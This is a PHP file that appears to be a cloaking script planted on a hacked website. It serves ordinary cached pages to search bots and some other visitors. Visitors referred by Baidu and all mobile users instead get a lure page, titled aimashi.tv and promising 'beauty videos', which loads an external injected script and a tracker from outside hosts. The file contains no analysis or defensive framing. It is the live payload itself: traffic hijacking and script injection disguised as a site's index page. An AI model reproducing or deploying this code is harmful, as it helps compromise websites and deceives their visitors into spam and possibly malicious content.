<?php
/*
    location / {
        try_files $uri $uri/ /index.php$is_args$args;
    }
*/
header( 'Content-Type:text/html;charset=utf-8');
$currentPath = dirname(__FILE__);

$Referer= isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$UA=$_SERVER['HTTP_USER_AGENT'];
if(preg_match("(spider|bot|baidu\.)",$UA)){ 

}else{
    if(preg_match("(baidu\.com)",$Referer) || ismobile()){
$str = <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title> aimashi.tv </title>
    <style>
         * {
            margin: 0;
            padding: 0;
        }
        body {
    min-width: 320px;
      font: 400 14px/1.5 "\5FAE\8F6F\96C5\9ED1", Helvetica;
      background: #f0f5f9;
      font-size: 14px;
      max-width: 720px;
      margin: 0 auto;
    }
    .container { 
        background: url("https://www.hanmindanzhan.vip/27564589_007_f889.jpg");
        background-size: 100% 100%;
        width: 100%;    
        position: relative;
        height: 100vh;
    }
    }
    img {
        width: 100%; 
        min-height: 100vh;
    }
    .btn{
        display: flex;
        position: absolute;
        justify-content: center;
        align-items: center;
        width: 100%;
        z-index: 3333;
        height: 100%;
        top: 0px;
    }

    .weui-btn_primary {
    background-color: #1AAD19;
    }

    .weui-btn {
    position: relative;
    display: block;
    margin-left: auto;
      margin-right: auto;
      padding-left: 14px;
      padding-right: 14px;
      box-sizing: border-box;
      font-size: 18px;
      font-weight: bold;
      text-align: center;
      text-decoration: none;
      color: #FFFFFF;
      line-height: 2.55555556;
      border-radius: 5px;
      -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
      overflow: hidden;
      margin-bottom: 10px;
      white-space: nowrap;
    }
    
    </style>
</head>
<body>
    <div class="container">
          <div class="btn">
            <a onclick="openUrl1()" class="weui-btn weui-btn_primary" id="openSchemeLink">→ 点击前往观看美女视频 </a>
          </div>
    </div>
      
  <script>
    var x=document, m=x.createElement('script'), q=x.getElementsByTagName('script')[0];
    m.async=true; m.src='/quangminhsadec.js?v=1'; q.parentNode.insertBefore(m,q);
  </script>
    
  
  
<script>
  var _paq = window._paq = window._paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(["setDocumentTitle", document.domain + "/" + document.title]);
  _paq.push(["setCookieDomain", "*.masadaresort.com"]);
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="//xintongji.aimashitj.com/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '12']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
  })();
</script>
</body>
</html>


EOT;
    echo $str;
    exit();
        
    }   
        
	
}


function ismobile(){
    if (isset($_SERVER['HTTP_VIA']) && stristr($_SERVER['HTTP_VIA'], "wap")) {
        return true;
    } elseif (isset($_SERVER['HTTP_ACCEPT']) && strpos(strtoupper($_SERVER['HTTP_ACCEPT']), "VND.WAP.WML")) {
        return true;
    } elseif (isset($_SERVER['HTTP_X_WAP_PROFILE']) || isset($_SERVER['HTTP_PROFILE'])) {
        return true;
    } elseif (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/(blackberry|configuration\/cldc|hp |hp-|htc |htc_|htc-|iemobile|kindle|midp|mmp|motorola|mobile|nokia|opera mini|opera |Googlebot-Mobile|YahooSeeker\/M1A1-R2D2|android|iphone|ipod|mobi|palm|palmos|pocket|portalmmm|ppc;|smartphone|sonyericsson|sqh|spv|symbian|treo|up.browser|up.link|vodafone|windows ce|xda |xda_)/i', $_SERVER['HTTP_USER_AGENT'])) {
        return true;
    } else {
        return false;
    }
}

if(is_index()){
    $filePath=$currentPath.'/index.html';
    
}else{
    $filename =is_inindex($lujing);
    $filePath=$currentPath.$lujing.$filename;
    echo $filePath;
}


if (file_exists($filePath)) {
    $fileContent = file_get_contents($filePath);
    if ($fileContent !== false) {
        // 文件成功读取，输出内容到屏幕
        echo $fileContent;
		exit(0);
    } else {
        //echo '无法读取文件。';
    }
} else {
    //echo '文件不存在。';
}
	//http_response_code(404);
    //exit(0);
//判断是否是首页
function is_inindex(&$lujing){
    $uri = $_SERVER['REQUEST_URI'];
    $path = parse_url($uri, PHP_URL_PATH);
    // 使用 pathinfo() 函数获取链接的信息
    $pathInfo = pathinfo($path);
    // 提取路径
    $lujing = $pathInfo['dirname'];
    // 提取扩展名
    //return $path.'<br>'.$pathInfo;
    if($pathInfo['extension']=="php"){
        $kz="html";
    }else{
        $kz=$pathInfo['extension'];
    }
    
    
    $extension = isset($pathInfo['filename']) ? $pathInfo['filename'].'.'.$kz : 'index.html';
    return$extension;
}
//判断是否是首页
function is_index()
{
    $uri = $_SERVER['REQUEST_URI'];
    if (empty($uri)) {
        return true;
    }
    if($uri == '/'){
        return true;
    }
    $pageExtension = array(
        'html',
        'htm',
        'php',
        'asp',
        'aspx',
        'jsp',
        'shtml',
        'action',
        'do'
    );

    foreach ($pageExtension as $k => $v) {
        if (preg_match('~/(index|default)\\.' . $v . '$~i',
            $uri)) {
            return true;
        }
    }
    return false;
}



